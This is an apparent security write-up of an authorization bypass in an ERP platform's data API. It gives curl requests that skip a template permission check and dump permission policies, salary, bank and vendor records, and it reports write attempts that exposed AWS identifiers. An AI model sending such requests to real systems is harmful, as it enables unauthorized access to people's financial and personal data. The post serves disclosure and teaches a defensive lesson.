Two Doors, One Room, 9453 Records
Target is an ERP platform. Manages employees, payroll, bank accounts, vendors, the works.
The main data access endpoint accepts two input formats:
{"templateName": "main"} -- loads a predefined template
{"uimodel": {"nodes": {...}}} -- provides the query definition inline
The auth check only existed on the first path.
the bypass
Template request, blocked:
curl -X POST "[TARGET]/api/app/uiengine/uimodel" \
-H "Authorization: Bearer $JWT" \
-d '{"templateName":"main"}'
# AUTHORIZATION_ERROR: Execution of template denied
Direct uimodel request, wide open:
curl -X POST "[TARGET]/api/app/uiengine/uimodel" \
-H "Authorization: Bearer $JWT" \
-d '{"uimodel":{"nodes":{"root":{
"model":"urn:evst:everest:appserver:model/node:permission/Policy",
"type":"list","query":{"where":{}}}}}}'
# Returns: 6,929 permission policies, 6.1MB
The API error message itself documented the bypass. It said "You need at
least a templateName or a uimodel definition." The
checkTemplatePermission() function only fires when templateName is
present. The uimodel path goes straight to the data layer.
what came out
My test account had zero team assignment, zero project access. Here is what I pulled:
- 6,929 permission policies (the entire authorization ruleset, 3,081 unique policy names)
- 988 internal developer documents (Row Level Security architecture, permission engine design, authorization guides, all downloadable)
- 436 application template registry records
- 6 employees with names, locations, employee numbers
- Salary records: hourly rate $40, monthly $6,933
- 9 bank accounts (Wells Fargo, Deutsche Bank) with balances
- 116 bank transactions from Chase Savings
- 12 customers and 5 vendors with contact emails
- 463 chart of accounts entries
- Plaid banking API configs
26 models. 9,453 records total.
write access too
I tested mutations. The auth layer approved all of them. They only failed on downstream validators.
Secret delete attempt leaked AWS infrastructure:
AWS Account ID: 293073257408
Tenant ID: 415bf6ab-...
IAM Role: arn:aws:sts::293073257408:assumed-role/tenant-.../token-file-web-identity
The application said go ahead. Only the AWS IAM policy on Secrets Manager stopped actual deletion.
Feature toggle create: failed on "required fields missing", not on authorization. Policy update: failed on "where clause must not be empty", not on authorization.
the lesson
Two doors to the same room. One locked, one not. The auth check sat at the entry point (template resolution) instead of the data layer (model query). Any time there are multiple paths to the same data, authorization needs to live where the data is accessed, not where the request enters.